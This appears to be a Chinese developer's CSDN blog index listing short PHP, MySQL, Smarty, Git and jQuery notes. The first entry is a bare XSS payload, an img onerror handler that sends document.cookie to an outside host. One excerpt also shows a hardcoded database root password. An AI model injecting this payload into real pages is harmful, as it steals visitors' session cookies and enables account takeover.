- 博客(52)
- 资源 (2)
- 收藏
- 关注
原创 <img src=hi onerror='(new Image()).src="http://mengkang.net/?getCookie="+document.cookie'>
11
2015-10-09 21:07:22
1238
原创 java碎片
# UserService.javapublic class UserService { public interface UserTemplate{ User createUser(int id); } public static List<User> userList(ArrayList<Integer> ids,UserTemplate userTemp
2015-08-28 11:27:18
544
原创 跳过csdn直接直接host访问检查
wget --header="Host:api.topit.me" "http://211.155.84.140:81/?method=post.get&id=61108"
2015-02-04 15:27:55
939
原创 yaf默认路由
$router = Yaf_Dispatcher::getInstance()->getRouter();var_export($router);Yaf_Router::__set_state( array( '_routes' => array ( '_default' => Yaf_Route_Static::__set_state(array())
2014-12-24 00:05:50
988
转载 使用automake,autoconf来生成开源标准的Makefile
http://www.laruence.com/2009/11/18/1154.html
2014-12-11 10:43:41
505
原创 已经存在了仓库中的文件但是现在不想让别人看到
先把文件名添加到.gitignore然后 commit push再把 那个文件复制一份出来再 git rm --cached xxx再把那个文件复制进去开源代码的配置文件, 一般都是在仓库里放一个config.conf.example然后把config.conf 加到 .gitignore 里面,这样大家从仓库拉代码下来之后,就可以修改config.conf就
2014-12-02 22:06:56
1412
原创 Imagick处理图片简单demo
$v= $_FILES['image']['tmp_name'];@ob_start();readfile($v);$img = ob_get_contents();ob_end_clean();$m_width = 245;$m_height = 200;$m_dest = __DIR__.'/'.time().'.jpg';$m_thumb = new Imagick($v
2014-11-19 14:03:09
892
原创 远程协同开发数据库的使用
远程协同开发,问题一大堆,之前说好的是本地数据库结构更改,或者添加表等操作的时候就往线上更新一次,然后往tower里写一份更新说明,其他人收到邮件后再去更新自己的本地库,如果现在项目快要收尾了,发现开发用到的数据库结构完全不一致,而导致最后必须以一个人的为标准,其他人的代码重写。出现这种情况的表面原因是开发人员没有按流程操作。本质原因是因为我们大家使用的是不同的数据库。如果使用远程数据库的
2014-11-05 11:19:14
1066
转载 模拟ThinkPHP在U函数里写路由,支持多级路由
模拟ThinkPHP在U函数里写路由,支持多级路由,思路来源ThinkSNS。欢迎拍砖提意见,轻喷。伪静态配置(nginx.conf)location / {rewrite ^/?([0-9]+).html$ /index.php?m=Blog&a=blog&id=$1 last;rewrite ^/?([
2014-03-25 23:27:28
842
原创 原生sql_query写入“\r\n”会保存为回车到数据库中
error_reporting(E_ALL);set_time_limit(0);$db = mysql_connect('localhost','root','zmkzmk') or die("Database error"); mysql_select_db('zhoumengkang', $db); $result = mysql_query("set names 'utf8'");
2014-03-25 10:03:46
7827
原创 js小困惑
这段js是外链引入,而且是放在了$(function(){})里面$("a[title='consoleHide']").click( function(){ $("#console").fadeOut('slow'); });隐藏导航这样点击是OK。如果换成了:consoleHide()">隐藏导航我还是外链引入的js文件中,而且是放在了$(function(
2014-03-01 20:16:52
696
转载 手抄代码之装饰模式
demo是理解了,但是能不能灵活运用到项目中去,又是另一回事了.echo '';class RequestHelper{}//抽象基类abstract class ProcessRequest{ abstract function process(RequestHelper $req);}//具体组建类class MainProcess extends ProcessReq
2014-01-11 23:03:57
777
原创 lnmp环境下修复DedeCMS在PHP 5.3及以上版本BUG
错误提示为:DedeCMS Error: (PHP 5.3 and above) Please set 'request_order' ini value to include C,G and P (recommended: 'CGP') in php.ini官方的方案:由于在PHP最新的版本中增加了一个配置项目“request_order”,默认值为“GP”,这个存在一定
2013-11-07 09:25:46
825
转载 自定义上传按钮样式的终极解决方案_input透明法
原文地址:http://jingyan.baidu.com/article/6181c3e0708609152ff1537a.html.div1{float: left;height: 41px;background: #f5696c;width: 144px;position:relative;}.div2{text-align:center;padding-top:
2013-11-05 20:35:02
1071
原创 thinksns 第三方登陆
绑定成功了之后必须设置下面两个SESSION $_SESSION['mid'] = $login['uid'];//如果能找到,那就把绑定的用户的uid存入session $_SESSION['SITE_KEY'] = getSiteKey();因为在Action.class.php里面的initUser方法里model('Passport')->isLogged()做了是否登陆判断
2013-08-14 10:24:15
1684
原创 Warning: post-commit hook failed (exit code 255) with no output
今天折腾SVN提交完成触发钩子 post-commit我在post-commit里执行了一段python脚本而我单独运行python脚本,没有问题我又单独运行sh post-commit 也没问题我把SVN的报错复制下来谷歌了下http://subversion.tigris.org/ds/viewMessage.do?dsForumId=1065&dsMessageId=20
2013-06-26 14:46:53
4122
原创 记录问题,linux 上svn checkout 失败 Can’t move ‘.svn/tmp/entries’ to ‘.svn/entries’
svn export svn://xxx/repos1 /mnt/hgfs/code/svntest/ 却能够成功导出
2013-06-26 13:38:44
1855
转载 strspn() 函数返回在字符串中包含的特定字符的数目。
<?phpecho strspn("Hello world!","kHlleo");?>输出:5
2013-05-30 14:06:59
657
原创 逐行修改容量较大的文件的操作 fgets 和fgetcsv
set_time_limit(0);$file = fopen("wordlist.raw","r");while(! feof($file)){ $string = fgets($file);//从文件指针中读取一行 $array=explode(' ',$string); $array[2] = '"'.$array[2].'"'; $string = implode(' ',$
2013-05-28 09:45:23
897
原创 三表关联查询-多次LEFT JOIN...ON
$sql = "SELECT a.year,a.guid,a.description,b.description AS pic_des,c.year AS pic_year,c.month AS pic_month,c.day AS pic_day,c.file AS pic_file FROM m_honor2_honor2 a LEFT JOIN m_honor2_pics b ON a.g
2013-05-27 11:02:46
4189
转载 很久以前有两个程序
很久以前有两个程序,当时的水准都差不多,现在A是上市公司的技术总监,B还在不停的跳槽,反反复复在“小团队主程”和“大公司打杂”的两种岗位之间不停切换。B一直把这些不同归咎于自己没有遇到A那样子的机遇,经常在群里和微博抱怨自己的运气。 那天我终于忍不住了,在他再一次抱怨之后,我开始喷他,我说你就从来没有想过自己的原因么?同样是一个临时小活动,我叫A做的时候,A都会告诉 我,他手
2013-05-21 16:02:12
645
原创 ArrayAccess(数组式访问)接口,你有一个对象,但是你希望能将其看作一个数组
http://www.php.net/manual/zh/class.arrayaccess.php你有一个对象,但是你希望能将其看作一个数组。这样就既可以利用面向对象设计的益处,又可享受熟悉的数组接口的便利!原来标准PHP类库这么强大,得好好看看哦!
2013-05-10 20:24:19
774
原创 查询所有订单的最新信息的SQL语句的写法 DISTINCT配合count和group by一起完成
场景:每个订单会持续更新,客户需要能查看每次更新的内容,所以每次更新我都会存一次,而不是在原来的基础上更新。现在需要查看每个订单的最新信息。SELECT *,count(DISTINCT ordernum) FROM xxxx group by ordernum order by addtime descArray( [0] => Array
2013-05-09 17:35:23
2233
原创 新发现数据量存"2013-5-14 6:20"smarty的date_format函数还能够认识,mysql也能自动识别?
数据库里date字段存的是2013-5-14 6:20{$v.date|date_format:"%Y/%m/%d %H:%M"}居然完美解析了?坑,我真是瞎猫碰到死耗子了,我本来是设计的录入的时候默认录入时间戳,后来修改为数据录入人员手动录入。根据日期来做排序,order by xx desc (asc) 都好使!mysql也能自动把这种格式的数据当作时
2013-05-08 13:49:25
750
原创 函数套着用就提示:Strict Standards: Only variables should be passed by reference
$start = array_shift(explode(':',$qifeishijian));这样写就报错,Strict Standards: Only variables should be passed by reference分开了写就不报错 $start = explode(':',$qifeishijian); $start = array_shift($star
2013-05-08 11:27:15
730
转载 中文字符串截取函数
function str_cut_utf8($string, $length = 100, $etc = '...', $break_words = false, $middle = false) { if ($length == 0) return ''; $string = strip_tags ( $string); $string=preg_replace('/[\n\r\t]/
2013-05-07 14:50:30
633
原创 PHP echo输出的内容包含html ,但是html不解析的不完全解决办法
http://blog.sina.com.cn/s/blog_9f1cb46701014dg5.htmlhtml_entity_decode($string, ENT_QUOTES, 'UTF-8')测试了下,的确好使,但是我在这个内容的外围包上了标签,又不能解析了。php echo 出来的字串默认情况应该是解析的(在本地测试是解析的)不知道为什么会出现这种情况。在用s
2013-05-06 18:12:46
2457
转载 Firefox+console.log()取代讨厌的alert()调试方法
最简单的方法是console.log(),可以用来取代alert()或document.write()。比如,在网页脚本中使用console.log("Hello World"),加载时控制台就会自动显示如下内容。另外,根据信息的不同性质,console对象还有4种显示信息的方法,分别是一般信息console.info()、除错信息console.debug()、警告提示conso
2013-03-22 15:53:21
1039
转载 array_map — 将回调函数作用到给定数组的单元上
array_map — 将回调函数作用到给定数组的单元上extract —从数组中将变量导入到当前的符号表extract() 检查每个键名看是否可以作为一个合法的变量名,同时也检查和符号表中已有的变量名的冲突。对待非法/数字和冲突的键名的方法将根据extract_type 参数决定。$_POST = array_map('trim',$_POST);extract($
2013-03-15 18:00:28
678
原创 smarty中我的二级菜单的遍历方法
//查询得到一级菜单$type = API_PRODUCT::ALL_TYPE_LIST($query);//通过一级菜单的ID查询他下面的子菜单foreach($type as $k =>$v){ $product[$v['id']] = API_PRODUCT::PRODUCT_LIST_BY_TYPEID($query, $v['id']);}//模版输出 {foreach
2013-03-14 14:33:16
1016
转载 isset的判断
若使用 isset() 测试一个被设置成 NULL 的变量,将返回 FALSE。同时要注意的是一个 NULL 字节("\0")并不等同于 PHP 的 NULL 常数。<?php$var = '';// 结果为 TRUE,所以后边的文本将被打印出来。if (isset($var)) {print "This var is set set so I will print.";}
2013-03-14 09:13:10
843
原创 smarty导航上列表中最后一个有特定样式的输出
{foreach from=$v.son item="value"} {if $value@last} {else} {/if}{$value.m_title}{/foreach}
2013-03-11 09:07:30
633
原创 is_numeric 的用处例举
$page = isset($page) && is_numeric($page) ? $page : 0;检测变量是否为数字或数字字符串
2013-03-07 15:32:31
630
原创 新环境、新工具,只为提升PHP开发效率
http://www.apachefriends.orghttp://www.adminer.org/http://www.zend.com/en/community/pdt/downloads
2013-03-06 11:44:13
640
转载 thinkphp中模版引擎中常用的变量输出
$Think.session获取$_SESSION{$Think.session.user_id}$Think.cookie获取$_COOKIE{$Think.cookie.username}$Think.server获取$_SERVER{$Think.server.php_self}$Think.get
2013-01-26 00:29:39
690
转载 jQuery实例--Ajax信息的增删改查等操作
jQuery实例 $(function(){ //调用加载数据函数 loadstu(); //为添加按钮绑定一个添加动作 $("#aid").click(function(){ $("#fill").show(); $("#myform").show(); }); });
2013-01-24 09:59:00
12005
原创 PHP简单知识竞赛(在线答题)
需要用到两张表:paper和questionsCREATE TABLE `paper` ( `Id` int(11) NOT NULL auto_increment, `UserId` int(10) NOT NULL, `SingleChoice` varchar(150) default NULL, `MultipleChoice` varchar(150) defau
2013-01-19 22:43:00
4895
css图片下载(php脚本)
2013-01-01
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人